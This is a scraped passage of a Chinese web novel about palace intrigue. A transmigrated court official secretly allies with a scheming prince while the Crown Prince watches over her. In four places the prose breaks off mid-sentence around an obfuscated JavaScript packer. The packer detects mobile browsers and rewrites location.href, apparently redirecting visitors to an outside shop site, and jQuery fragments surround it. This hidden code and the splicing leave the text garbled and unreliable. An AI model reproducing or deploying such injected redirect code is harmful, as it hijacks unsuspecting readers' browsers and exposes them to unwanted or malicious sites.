应子清在周围稍作打扫,把清理出来的碎石,扫进簸箕。
附近有片枯树林,应子清把积了一堆石头的簸箕,带过去倒掉。
“灵清子。”
林中,一道极小极尖细的声音,如幽魂般唤道。
应子清吓得寒毛直竖,差点拔腿就跑。
这片树林全掉光了叶子,黑色枝干扭曲嶙峋,密密丛丛伸向黯淡的天空。
光线昏沉,未散尽的雾气,在林间盘绕,快赶上恐怖片里阴沉的特效了!
可是,这一称呼,偏偏叫她动弹不得。
她只向一个人,自称过灵清子。
安景王!?
来人显然不是安景王本人,而是一位面容普通的小太监。
小太监的姿态十分谦卑,腰背弓着,带着一点怯懦,他看也不敢看应子清,连连道歉道:“小的有罪,吓着贵人了。”
应子清没有说话。
此人来路不明,又知道她那隐秘的别称,在不知道是敌是友的情况下,她不能莽撞。
幸而,小太监是个没什么心机的,陪笑道:“贵人息怒,小的是替安景王王府的姜先生传话。”
原来是安景王的得力谋士,姜泽语安排的。
应子清依然一声不吭。
小太监以为自己冲撞了贵人,笑脸不由僵了僵,赶紧把自己的目的说出来:“姜先生让小的一字不漏地转达:‘自从见了贵人留下的话,王爷彻夜难眠。然而那日贵人离去,一如云间黄鹤,叫我们费了不少功夫才找到。得知贵人在东宫高就,王爷心下大悦,寻人的郁色尽散。贵人先行一步,为王爷探那前行之路,可谓用心良苦,王爷盼望早早与贵人会面’。”
说罢,小太监谦卑地双手捧上一枚竹削的鸟哨:“姜先生说,王爷知道贵人事忙,待贵人闲时,可以吹响这枚特制的鸟哨,姜先生自会派人前来接应,让贵人与王爷相见。”
应子清接过鸟哨,像接过十斤重的钢筋。
她再也没想到,那日那么伪装,还是被安景王的势力查到了。
还查出她在东宫身边。
她所有的踪迹,暴露得一干二净。
也许她现在的一举一动,皆在安景王的监视之下。
小太监传完话,送完东西,将灰披风一掩,转眼消失在树林间的迷雾里。
回去后,应子清给鸟哨,找了条结实的绳子,别在腰间。
香巧和语兰说说笑笑回来了。
吃过晚饭,三个人都很勤快,把临时的小帐篷收拾得温馨舒适。
外间,踢踏的马蹄声,奔逸绝尘。
“你们听见了吗?”透过帐篷的缝儿,语兰望着外面说,“不知道是谁,这么晚了,怎么还在纵马,左右卫尉不管的吗?”
“想
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14449432|152826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是哪位大人有急事。”香巧接话道,“不然,天子御前,谁敢放肆?”
三个人围着一炉炭火取暖,帐篷内温着惬人的暖意。
语兰拾起两块槐木,往炉子里送送,让火烧得旺些。
火光映着应子清的侧脸,她又一次发起呆。这一次想事入想狠了,语兰和香巧惊呼着站起身,吓得退至角落,应子清都没察觉。
男人宽大的手,在她眼前晃晃,她还是没什么反应。
忽然,脸颊触到一块冰似的凉,应子清吓了一跳。
刘之衍披着鹤氅,身上的风尘微尽,他伸出手,点了下她的脸,温润地笑着:“子清,想什么想那么认真?”
应子清一看见他,脸一下涨红了。
那日,刘之衍醉酒,将她压在身下,扣着她的手腕,说了好些胡话。
他说美姬喂他酒,他看见应子清生气了。
应子清跟一个醉鬼没有话讲,她没理他,用力推了他一把。
刘之衍醉意昏沉,没什么力气,她很轻松地把他推开,跑回自己的暖阁了。
但应子清跑开的时候,回了下头。
她看见刘之衍倒回床榻,英气的眼睛闭着,嘴角微扬,那是一个很轻很好看的笑。
他似乎谋划着什么事,被他得逞了,所以很欢喜。
看的应子清怪不舒服的。
恰好从那天起,庆帝身体好转,刘之衍不得不奔波于庆帝与傅太后两边。
那天醉酒的事,谁也不再提,没了下文。
之后,两人各有各的忙。
就算偶然碰面,附近人多吵闹,他们也说不上几句话。
应子清乐得避开他。
这路上,每个人的行程被琐事塞的满满的,刘之衍要侍君伴驾,要护着傅太后,是其中最忙的一个。
不知道刘之衍从哪偷出的空隙,夜里奔着乌锥马,跑到这小帐篷,拿他的凉手,碰她热热的脸颊玩。
还是众目睽睽之下,他竟毫无收敛之意。
应子清仿佛被他身上的急切劲儿击中,整个人定在原地。
此时,看着刘之衍,她很清晰地听到,自己如雷的心跳。
“又发呆了。”刘之衍无可奈何,他在四周打量一圈,“我好饿,子清,你这里有吃的吗?”
“太子殿下,有吃的!有吃的!”香巧机灵,反应极快,可是她又怕刘之衍,抖着嗓子回答。
语兰被香巧一个胳膊撞醒,赶紧奉上革囊装的马奶酒。
马奶酒能驱寒,有一定滋补强身作用,这是特意给她们抵御严寒用的,每个宫女太监仅得这么一皮囊。
香巧和语兰珍惜得不得了,一口也舍不得喝。
可是太子殿下开金口,她们唯一拿得出手的,就是这一袋马奶酒了。
刘之衍笑了下,没接,他问:“子清,你的呢?难不成嘴馋,都喝光了?”
“……你才嘴馋,少污蔑我。”应子清无语,把自己那袋革囊找出来,递给刘之衍,“我就喝了一口,尝了尝味道,你不嫌弃就喝吧。”
“我猜也是。”刘之衍微一挑眉。
刘之衍接了过来,解开革囊的封口绳,直接对上皮囊的瓶口,喝了。
“等等……”应子清急忙喊了声。
刘之衍大概饿极了,一口气喝光:“嗯?”
怎么能对着口喝呢?那跟间接接吻,有什么区别?
可刘之衍都喝完了,应子清还能说什么。
应子清的脸,又比刚才的红了点,眉毛竖着,不是很开心的样子。
“这几日每次见你,你总是气呼呼的。”刘之衍把革囊还给她。
应子清的好东西也不多,这人真不客气,全给她喝光了,她想,她高兴才怪。
“应女史!快起来啊!”香巧悄声催促她道,“跟太子殿下说话,你怎么能与他平起平坐……”
在有外人的时候,该守规矩还是要遵守,应子清顺声站起来:“哦。”
刘之衍好像才注意到两名缩手缩脚的宫女,淡声道:“你们出去吧,这里有应女史就行。”
全然不掩饰,语气里对应子清的熟稔和依赖。
“是。”香巧和语兰对视一眼,各自怀着心事退了出去。
19. 第 19 章
夜幕低垂,寒星烁烁,外面起了风,刮得旗子猎猎作响。
小帐篷柴火融融,有一种舒适的安稳感。
因着是纵马而来,少年乌黑的发梢沾了夜露,些许碎发,贴在修长冷白的脖颈上。
刘之衍的发色黑,黑眼珠更黑,看应子清的时候,里面像藏了颗星子,亮亮的。
但他视线落在应子清腰间系的鸟哨时,眉心明显一紧。
再看应子清,刘之衍的脸色收的很好,他从鹤氅内衬解下一只竹编小笼:“你瞧,这是什么?”
“是萤火虫!?”应子清惊奇地接过。
“你认识?”刘之衍意外。
如果没看过电视,她还真不认识。
在原来生活的城市,应子清只从动画片上,看到过这个会亮的小东西。
最初,她以为这种小东西是五颜六色的。
后来跟同学聊天,说起萤火虫,见过的同学告诉她,只有绿颜色的。
那时,应子清记得,她很羡慕能亲眼看到萤火虫的同学。
当学校放假的时候,同学们会被家人带着,去周边旅游。应子清从小生活在孤儿院,不能说过的差,但肯定没有闲钱去旅游。
很多东西,她只能从孤儿院里电视上了解,没有亲眼见过。
竹编的小笼子,星星点点,一闪一闪,亮着温柔绿光。
“我想女孩子自小在闺阁中长大,以为你没见过。”刘之衍笑,“傍晚在林间见到,便叫人捉了一些回来,给你瞧个新鲜。”
“我不认识,是听别人说过。”应子清双手合住,抱着小竹笼。
天气这么凉,她怕这么小的萤火虫会冻死。
刘之衍看出她的想法,摇头告诉她:“这些小东西过不了夜。入了冬,它们慢慢的会冻死,这一点,应是最后一批。”
应子清听了,心里惋惜:“明明这么漂亮,可惜活的好短。”
刘之衍犹豫:“你要是不喜欢……”
“不喜欢。”应子清截断他的话,“以后别送了。”
刘之衍:“……”
应子清笑起来:“谢谢你的心意,以后还是别送这些有生命的东西了,让它们在林中自行生长吧。下回送我点贵的,我能拿去卖的那种。”
“?”刘之衍目光幽深,“别人送你东西,你怎么想着卖掉?”
应子清被他说的愣了下,是啊,她总想着,自己是要回小蓝星的,所有东西不过是身外之物。她下意识觉得,变成可以带走的金银,才是最好的。
这种话,她肯定不能对刘之衍说。
外间传来低哑的咳嗽声,乌锥等待太久,烦躁地刨蹄,嘶鸣不止。
刘之衍在这里呆的时间长了,他的属下隐秘地催促着。
御前侍奉,跑去开小差,已是了不得,若是庆帝嚷起来找太子,可就不好了。
刘之衍站起来:“子清,我该走了。”
“好啊。”应子清跟着站起来,要去送他。
刘之衍低垂眼睛:“你这一枚系着的,是什么东西?以前没有见过。”
应子清顺着他说的地方一看,是安景王送的鸟哨。
应子清没想到,这么晚了,他视力还这么厉害:“这你都能发现?”
“那是自然,你有什么东西,我了若指掌。”刘之衍煞有介事。
应子清低头,摩挲那竹削的鸟哨,不慌不忙道:“是一个小太监送我的,我看着好玩,带在身上。”
一枚普通的鸟哨,刘之衍不可能发现背后的事。
“你喜欢就好。剩下的路程不远,下一次我们再见面,应该在骊宫了。你行事诸多小心,有事你知道怎么找我。”刘之衍点下头,将鹤氅一掀,转身出去了。
刘之衍跃上马,拉动缰绳,催促乌锥马离开。
深夜,树林安静。
除了跟在身后的一队人马的动静,刘之衍还听见,细微的衣衫掠过树枝的声音。
众人一路无话。
回到御前,刘之衍分别去了趟庆帝和太后的帐篷,打听他们安然休息下了,他转身回自己的营中。
吴内祥素来体贴,按照刘之衍喜欢的口味,早在营中,备下四五种不同口味的点心与驱寒的热酒。
刘之衍看了眼,没什么胃口,不知怎的,他仍是惦记刚刚在应子清那里喝到的马奶酒。
“我把子清的酒给喝了,”刘之衍嘱咐,“你尽快给她送些上等的酒,若是她觉得冷,没得驱寒就不好了。”
吴内祥答应:“是,太子殿下。”
不过,吴内祥觉得他忧心一个女官,实在太过,忍不住解释:“太子殿下,东宫的队伍跟陛下的队伍编在一起,沾着御前的光,吃喝用度是不会短的。”
别说不会短,恐怕应子清那一行人,是所有队伍里待遇最好的。
刘之衍也不知道听没听进去,又补了一句:“从我的库里挑,把我的酒给她。”
吴内祥只能叹气:“是,小的这就去办。”
刘之衍随意用了几口温过的糖蒸酥酪,他朝一个角度,微抬下巴:“影枭,跟了我一路,什么事?”
“是关于应女史的。”从阴影极深之处,走出一个身材高大的男人。
影枭来到刘之衍面前,单膝跪下,垂首道:“太子殿下曾告知属下,有关应女史的消息,应当第一时间上报。”
刘之衍点头,拿起丝绸巾帕,慢慢拭干净手指:“说。”
“安景王的幕僚姜泽语,穷尽心思,找到了应女史。”影枭银制面具下的脸,平静无波,“下午的时候,姜泽语派了一名小太监,接触应女史,应女史收了那边的信物。”
刘之衍问:“就是那枚鸟哨?”
影枭低下头:“是。”
刘之衍挥了下手:“我知道了,你下去吧。”
“殿下?”影枭抬起眼,里面的眸光闪烁寒意,“我们仍要装作不知,不作一些防备吗?”
烛火跳跃,刘之衍冷玉般的脸,影影绰绰。
许久,刘之衍说:“不必。”
影枭膝行一步,上前恳求道:“殿下,您向来以智谋著称。这么多年,属下见您殚精竭虑,如履薄冰,走得每一步,皆慎之又慎,唯恐稍有差池。为何在应女史的事情上,粗心大意如此!”
“你可知,我不必向你解释。”刘之衍嗓音微沉,淡淡看着对方,“但念在你多年忠心,不妨告诉你。子清于我有恩,于太后有恩,仅这两项功劳,哪怕她闯下天大的祸事,我自会护她一生无虞。”
影
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14466038|152826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
枭被刘之衍的威仪逼视,不自觉低下声音:“殿下……”
“太子之位,向来是众矢之的,受人攻讦乃是常事。当上太子容易,想要坐稳太子之位,很难。”刘之衍眼眸黑沉,眼底仿佛积着万年霜雪,冷透了,“我还年幼,为了庇护寒门出身的母后,让她在后宫不至于难过,我不惜自毁名誉,故意行事异样,遮掩自己的真面目,淆乱敌人。”
说起辛酸的过往,刘之衍语气仍是不疾不徐,不见情绪波动。
刘之衍的母妃李贵人,来自寒门李氏,远不如四大家族,又或是大族兴旺之家。
所以,李贵人诞下唯一的皇子,又颇得庆帝宠爱,也只得贵人的封号。
庆帝膝下子女不多,眼看天子年高,立储之事刻不容缓。庆帝与朝中的大臣商议,将皇长子刘之衍立为太子。
宫里群小环伺,暗箭难防。李贵人养育皇子已是不易,这个皇子又立为太子,她从此心惊胆战,生怕稍有不慎,便陷万劫不复。绕是如此,刘之衍小时候也是多病多灾,竟是生病卧床的时间,超过健康蹦跳的时间。
李贵人亦是难过,在一众豪门出身的宫嫔后妃之中,她唯有颔首低眉,处处忍让。偏偏身体孱弱,每每宫闱宴会、请安等诸般场合,李贵人不得不咬牙强撑,勉力为之。多亏了傅太后明里暗里的照顾,才保得李贵人与刘之衍母子俩平安。
“身处宫闱内外,如处荆棘之中,我的敌人多,知己好友少,我不希望额外生事。”刘之衍连眼神也不再给,“退下,别让我烦心。”
触怒殿下,影枭羞愧至极:“是,属下多嘴,属下自去领罚。”
影枭从营帐中退下,刘之衍垂下眼,盯着粉彩八宝瓷碗里的酥酪。
奶白细腻的牛乳,撒上点点金桂,散发一股温柔的甜香味。
不知看了多久,刘之衍手背的青筋,绷得高高的。
他在努力抑制心中的暴戾。
若是在以往,听见应子清收下安景王信物的消息,他早就把这碗躺蒸酥酪打个粉碎。
可是,他想起那日,应子清温暖的手握住他,告诉他,她会在这里陪着他。
——
送走刘之衍,应子清跑去找两个小宫女。
自从太后在东宫动了怒,打发仗毙一批宫女太监,后来东宫填进不少新人。那时之后,东宫上上下下战战兢兢,对太子殿下不敢有一丝轻慢敷衍。
语兰和香巧在东宫呆的时日不短,可是见太子的机会不多。
这一夜,乍然撞见太子殿下,骇破了她们的胆,哪里敢再进帐篷。
应子清拽着两人的手进来,两人畏手畏脚,特意绕开太子坐过的椅子,仿佛那里留有余威似的,不敢造次。
第二天一早撤帐篷,语兰和香巧再见应子清,态度毕恭毕敬。又是帮忙拿行李,又是辛勤收尾,不肯让应子清多动一点手。
“应女史是女官,尊卑有别。”语兰仰着小巧的脸,眼里闪着崇拜的光,“是应女史之前不跟我们计较,所以拿我们当妹妹。可是该我们做的事,哪敢劳动姐姐。”
“姐姐不怪我们不懂礼,是姐姐宽宏大量了。”香巧乖乖配合道。
应子清觉得这种尊卑观念,一时半会儿的,没法马上纠正她们,只得由她们去了。
20. 第 20 章
她们是在一个清和日丽的下午,抵达温泉别宫。
温泉别宫周遭的密林,长得极深,参天古木遮天蔽日,宽大树叶交错生长。一路上,应子清透过窄小的车帘,仰着头,看这些古树,和长着细密青苔的巨岩。处在现代的小蓝星,已经极少见到这种接近原始蛮荒的风景了。
作为天子游幸之地,骊宫修得恢宏大气,错落有致。金砖琉璃瓦被群山环抱,潺潺绿水依山而绕,深山有群鸦飞舞,宛如古画描摹的仙宫。
山路狭窄,随侍的队伍极其漫长,光排队等着进山门,也要等好一会。
过了山门又爬了一段山路,应子清和语兰香巧一起下车。
“你们看,好像是圣上!”香巧眼尖,遥遥指一个地方。
众人听了,纷纷抬头。
大家远远看见,通往骊宫主殿的汉白玉阶梯,打着层层叠叠金线织就的天子华盖,看来庆帝就在那里。
“太后和皇后娘娘也在吗?”有人好奇。
“天子一家都来了,可不都在?”语兰回答,“咱们太子殿下也在那里呢。”
那里围绕着皇帝,禁卫军,左右卫尉,太监宫女,挤了一大堆。人头攒动,各色靡丽服饰熙熙攘攘,看得人眼花缭乱。应子清找了好一会,找不到刘之衍的身影。
刘之衍住的是一处偏殿,应子清被分到偏殿附近清净小院,离太子殿下的住所不算远,可也不算近。
拿着行李包袱,应子清和几个宫女有说有笑的,朝自己的宅院走。
不远处,青石板台阶上面,立了一个穿灰衣普通样貌小太监。他站在那里,纹丝不动,好像一块石头。这里人来人往,大家各有自己的事情忙,谁也没功夫去注意他是谁,可心里又觉得,此人又神秘又古怪。
她们过路时,那名灰衣小太监忽然动了,冲着应子清微微一点头。
应子清认出来,就是那天,给她送鸟哨的小太监。
他特意出现在这里,是为了提醒应子清,安景王在等她的联络!
“应女史,”语兰察觉到应子清沉默许久,询问道,“你怎么了,脸色看起来不好,是不是生病了?”
“没有。”应子清摇了摇头,脸上依旧心事重重。
如此整顿了几日,应子清在一个无人注意的午后,吹响了那枚鸟哨。
姜泽语给的鸟哨是特制的,寻常人听不到哨声,但受过专门训练的猛禽,一听此哨音,便受不住。
隔着深山海林,几只体型庞大的海东青,尖啸着冲向天际,在应子清所在的头顶上,盘旋数刻钟。
之前应子清还在猜测,怎么吹个哨子,姜泽语那边就能知道了。现在看这动静,她心想,他们这些人,倒是怪会想办法的。
应子清戴着草帽,披了身斗篷,趁着天色擦黑的时刻,出了小院,上了辆同样全副武装的马车。
骊宫附近,沿着山路关口,不是站的皇家侍卫,就是禁卫军。
马车的门窗被死死封住,这辆马车到底怎么进来,又怎么出去的,应子清一无所知,但她也懒得去关心。
时间过去很久,应子清揣摩,这辆马车大约是顺着主路,出了骊宫范围,然后继续往前走。
到了地方,应子清微微抬起帽檐,向外看。
此地,估摸是在某处农庄。
眼前一座茅草屋,檐下影影绰绰,站了不少侍卫。
屋内只掌了一盏微弱的烛灯,安景王堂而皇之,在坐在里面品茶。
顶顶好的茶。
应子清刚进门,闻见那袅袅清茶香味,沁人心脾。
“来了?听说姜先生说,灵清子是位妙龄少女,我还不信,直到亲眼见到你,我才算是开眼了。”安景王见到来人,笑容满面道,“那样的马车配你,可是委屈了。无须多礼,请坐吧。”
大约刘姓的皇家人,皆有一副好容貌,安景王面容白皙,说话时,一直带着笑,显得十分亲和。
他一身白龙鱼服,只是乌发上,戴了只镶嵌一颗硕大的红宝石金冠,彰显着他皇家身份。
他单坐在那里,自有超凡脱俗的儒雅风流气度。
不久前,应子清觉得,他这气质,颇有做皇帝的潜力。
然而今日再看,她不禁看出几分浮华与虚伪。
姜泽语从安景王的身后走出来,为应子清抬了张椅子。
应子清坐下后,没有摘掉草帽。
但,安景王和姜泽语把她查得一清二楚,这些遮蔽之物,毫无用处。
安景王放下茶杯,悠然道:“原来那日,松云雅集上的绝色佳人,是你。”
“见过王爷。”应子清闻着氤氲茶香,也不客气了,端起茶碗一饮而尽。
安景王不愧是被宠到大的皇子,偶然跟人见个面,还带着顶好的龙井。刘之衍那里的茶叶,估计也没有他这一杯香。
安景王见她喝茶喝出豪饮的气势,禁不住笑起来:“好,我只当灵清子是娇滴滴的小女儿,心下有些打鼓,没想到是个爽快人。既然如此,我们闲话少叙。”
应子清此行,是想探知安景王的打算。
她不是不知道,朝堂之事犹如深渊,参与的越多,知道的越多,她就越危险。
王朝覆灭后,刘之衍会得到一个什么样的结果?
他会被杀掉吗?在他意气风发之时?
不论如何,刘之衍会随着王朝一起消亡。
想到那日在榻上,醉酒后仍含着浅淡笑意的苍白少年。应子清头一次觉得,她想投靠安景王的打算,对刘之衍而言,太过残忍。
她考虑天下,考虑百姓,唯独没有考虑过,刘之衍会有一个凄惨的结果。
所以她吹响了鸟哨,来到安景王面前,是想看看,她能不能为刘之衍找出一线生机。
显然安景王不可能像信任姜泽语那样,马上信任应子清。
安景王眯起眼睛,试图隐藏眼底的探究与危险:“不知灵清子,为何在龟背题那样的字,送与本王呢?”
鱼腹藏字,龟背刻字,都是天意降下的预兆、改朝换代的意思。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14480520|152826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这句话,点透安景王最隐秘的心事,夺取政权的野心。
她恰恰好在安景王和神秘人交谈后送过去,这一时机拿捏的非常巧妙。
所以,姜泽语不得不对应子清恭敬有加,连安景王看了,也生出定要见她一面的决心。
应子清在龟背上,写的是“载梦登天”,假借上天之手,送安景王一个登天的梦想。
“王爷谬赞,‘载梦登天’自然不是草民写的,是上天给的,草民只不过是顺应天意而已。”应子清昧著良心,凛然道,“草民久闻王爷英贤名,您才德兼备,气度雍容,若承大统,必能君临天下,成就一番盛世之象。”
“移天易日,此等悖逆之事,从来没有一人如此堂而皇之地点出来。”安景王意味深长道,“按道理,我非杀了你不可。”
随着他的话音落下,周遭的王府侍卫,倏尔拔出雪亮刀锋。
应子清面不改色,纹风不动。
安景王慢条斯理放下茶碗,微微倾身,用只有他们才能听到的声音,缓声道:“若是你没有在太子身边当上女官,又或是让东宫陷入绯色流言,你此刻必定身首异处。”
应子清仍是镇定自若,端茶碗的手,没有一丝发抖:“既然走到王爷面前,王爷不应该再怀疑我的决心。”
“你的胆识和眼光,倒是让我意外了。”安景王微微挑眉,向后伸了伸手指。
威严冷峻的王府侍卫,纷纷把刀收回刀鞘。
静谧的屋内,烛光微微晃动,引人深思。
安景王出了下神,忽而长叹一声:“本王不妨与你交个底,皇兄对我不错,我对皇兄十分敬重,其实并无觊觎之心。”
“但是,刘之衍那小儿,绝非是继任大统重任之人。”姜泽语背着手,从阴影里走出来,接过话道,“恐怕你还不知道,本应该成为贤德储君的人,曾经做下这等骇人听闻的恶事。”
应子清抬头看着姜泽语。
姜泽语微微一笑,耐人寻味道:“想必你在东宫也有所耳闻。太子无德,情绪起伏不定。而他幼年时,更是可怖的恶童。某日,太子不知缘何忽然暴怒,亲手杀害养育他的乳母,做下这等灭绝人伦的丑事!”
“什么?!”应子清不可置信反问,手指泛起冰冷。
“当然是真事,消息被庆帝压得死死的,可如果你想打听,也不是打听不到。”姜泽语望着应子清,自信从容道,“想那乳母,等同于亲生母亲,从太子呱呱坠地时,就全身心照料此子,哪里知道会遇到这等恶童……”
姜泽语摇头叹息:“李贵人正是为了这件事,气急攻心,病入沉疴。也是自那时起,庆帝对太子严加看管,一举一动,若有出格之处,必定严加处置!”
安景王漆黑的眼眸,闪过一丝轻蔑之意:“如此劣子,怎能担当社稷重任?!”
姜泽语与安景王,一言一语,又说了刘之衍其他罪状。
但应子清已经听不太进去。
幼年亲手杀人这件事,对她这种在文明世界长大的人而言,太过震撼。
21. 第 21 章
应子清恍惚一阵,重新打起精神,和老谋深算的安景王,打了些言语上的机锋。
她想了好多词儿拍拍马腿,哄哄安景王。一来是让安景王放心,她押他的宝押定了。二来,是方便以后探知安景王夺位的进度。
之后他们商议,经常保持联络,应子清收下姜泽语递来的工具。
姜泽语给了应子清一块玉石做的信物,叫“符节”。
要是没有姜泽语的介绍,她还真认不出来。
符节是翠绿玉石做的,长得和竹筒类似。只不过符节的表面,如竖纹般,一条条刻满小篆。通行关卡,验证符节时,把两截竹筒对上,即可通行。
除此以外,玉石竹筒是中空的,可以塞纸条,用来传递信息。
应子清这枚符节的横截面,写了“安景王”三个大字。
姜泽语给她的时候,眼里闪过妒忌之色,他特意强调:“只有王爷的亲信,才配戴这枚符节。”
应子清不怎么在乎“亲信”的殊荣,她更在意的是,她也可以凭这符节,随意从骊宫出行了。
此次前来,就是和安景王互相确认,她愿意当安景王的联络人。
两边聊的差不多,应子清同他们道别,拉下草帽帽檐,走出门。
迎面来了位秀美公子,安景王的世子,刘弘煦。
刘弘煦身姿修长,身形板正,他穿一身月牙白锦缎,用银线绣着精致的竹叶,系一条玄银钩金的绅带。
他仅仅是站在那里,无须介绍,定能认出他是位清贵公子。
不怪谢凝荷会喜欢刘弘煦。
刘之衍一如冰封在刀鞘里的剑,虽然有所收敛,偶尔仍会闪过令人胆寒的肃杀之气。相比之下,刘弘煦像块质地偏硬的玉,看着脾气不太好,可模样还算讨人喜欢。
“竟然是你。”
应子清从他身边路过时,对方冷淡地掷下这么一句话。
语气里,尽是不屑和嘲讽,似乎看不起应子清这种两面三刀的势利小人。
应子清顿了下,没有解释,只冲他微微点头,上了马车。
东宫居住的偏殿,叫沐云居,此时太医院院使领着一众御医,带刀侍卫,宫女太监各自捧着物什,一大堆的人往里涌入。
放眼望去,乌央乌央挤得满眼是人。
应子清回去的时候,正好混进人群堆里,谁也没发现她出去过。
换好衣服出来,应子清随便找个人问问:“发生什么事了?”
被问话的陌生宫女回头,看一眼应子清身上穿着东宫女官的服饰,惊讶道:“你这人真奇怪,怎么反问我?你不是东宫里的人吗?你们太子殿下出事了!”
“他出什么事了?”应子清诧异。
“我也不清楚,还是刚才听人说的。”陌生宫女挽了挽鬓发,摇头道,“太子殿下坠马了!”
“什么?!”应子清马上朝那边看过去。
旁边有位小太监,显然知道内里的:“说是傍晚的时候,太子殿下从陛下那里告退,急急忙忙的不知道要去哪。听得别人说,他想去找人,可又不说到底要找谁。那人没找到,太子殿下骑上马又走了,没曾想撞了一队巡逻的卫兵,惊了驾,给摔了下来——那群卫兵冲撞了太子,现在卸去兵甲,跪在地上,等着受罚呢!”
“哎呀,”陌生宫女听了,捂着心口,唏嘘道,“太子殿下骑的是高头大马,冷不防掉下来,得多疼啊。”
小太监指着那边说:“是呀,你们看,那不太医院的人全在那边。定是受了很严重的伤,要不然,怎么会如此兴师动众?”
语兰和香巧垂着手,从沐云居返回小院子。
两人见到应子清,眼神顿时一亮,一左一右,拉着她说个没完。
“应女史,你去哪了?方才到处找你,找不到!”
“天啊,你还不知道吧?出大事了!太子殿下摔伤了腿!”
“我们急急忙忙赶过去,吴公公让我们别碍事,叫我们走开。”
应子清预备过去看看,一听这么说,有些踟蹰:“为什么不让你们去?”
“原该我们去伺候的,”香巧愁闷道,“可有那么多人在,地方又不大。吴公公说,我们去了也是添乱。”
“是啊,咱们还是别过去了,过去了也是挨骂。”语兰嘀咕一句。
应子清又朝那边看了看。
她们站的位置,处在沐云居竹篱围墙的外围。
那殿中灯火通明,人来人往。每个人的神色焦急的不得了。太医院的御医们捧着各色药草,站在院子外,皱着眉头讨论纷纷。药炉子点了一排,学徒们手里扇着扇子,添点火势。
应子清再怎么懂医术,到底比不过专业的,她去了,也是添乱。
要不然,索性等过一段时间,人们散的差不了,她再过去吧。
——
院使几个正在聊天,说太子殿下摔了些皮肉伤,脚骨有些错位。已经接好了,但会疼一些,其余的倒是无虞。
站在旁边的吴内祥一直在认真听,见他们都说无妨,总算放下心。
吴内祥肃长一张脸,心事重重地走进里屋。
怕太子殿下疼痛太过,御医们忙前忙后,喂他喝了安神镇痛的药水。
刘之衍冷白的额头,凝着细小的水珠。
吴内祥清楚,太子殿下自小是不喊痛的,但大概是有些难受,刘之衍闭着眼睛,漂亮的眉眼皱得紧紧的。
见有影子闪动,刘之衍忽然张口:“子清?”
“太子殿下,是老奴。”吴内祥躬身,忧心忡忡道,“您还好吗?是不是疼得厉害?”
刘之衍顿了片刻,睁开眼睛,认了半天,认出来是吴内祥,他又闭上眼睛,没说话。
吴内祥走近几步,低声询问:“咱家去把应女史叫来吧?”
刘之衍反问:“她知道吗?”
“动静这么大,应女史必然知道的。”吴内祥小心翼翼回答。
刘之衍扯了扯嘴角,无声叹息,原来她知道啊……
却没有来探望他。
半晌,刘之衍摇摇头:“叫他们都下去吧,让我休息一会。”
“是。”吴内祥满脸恭顺地答应。
他走到卧房之外,叫停那些还在忙碌的御医和小太监,让他们不要闹出动静,免得吵到太子殿下。
等到无人时,烛火照不到地方,吴内祥脸上落满了阴影。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14493735|152826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
想到太子殿下那满脸失望的模样,吴内祥用力一咬腮帮子,转身走出去。
马厩,弥漫一股浓重的血腥味。
太子心爱的马,名叫乌骓,是番邦进贡的名驹,全大晋朝除了庆帝,就是刘之衍有。
乌骓通体乌黑发亮,犹如最顶级的纯黑绸缎,四肢修长矫健,浑身上下的体态线条俊美至极。
可是今天摔了太子,乌骓活不成了。
几名左右卫尉心里虽然痛惜名驹,但他们还是动了手,将乌骓杀死。
天子一怒,伏尸百万,而将来的天子受了伤,太子殿下周围的人和物,通通要受到责罚。
乌骓躺在地上,血流成河,黑眼睛如黑曜石般美丽,可惜没了生气。
外面的围场,跪了一地的卫兵。
幸好太子殿下发了话,求了请,卫兵们只需受些鞭刑。
吴内祥只看一眼,额头上的青筋蹦跳两下,面无表情地走开了。
围场旁边,一间暗房里。
“影枭,你在哪里?”吴内祥冲一个地方喊道。
暗房正门,一道人影落下。
影枭戴着银制面具,双手负在身后,立于门边:“可是太子殿下有吩咐?”
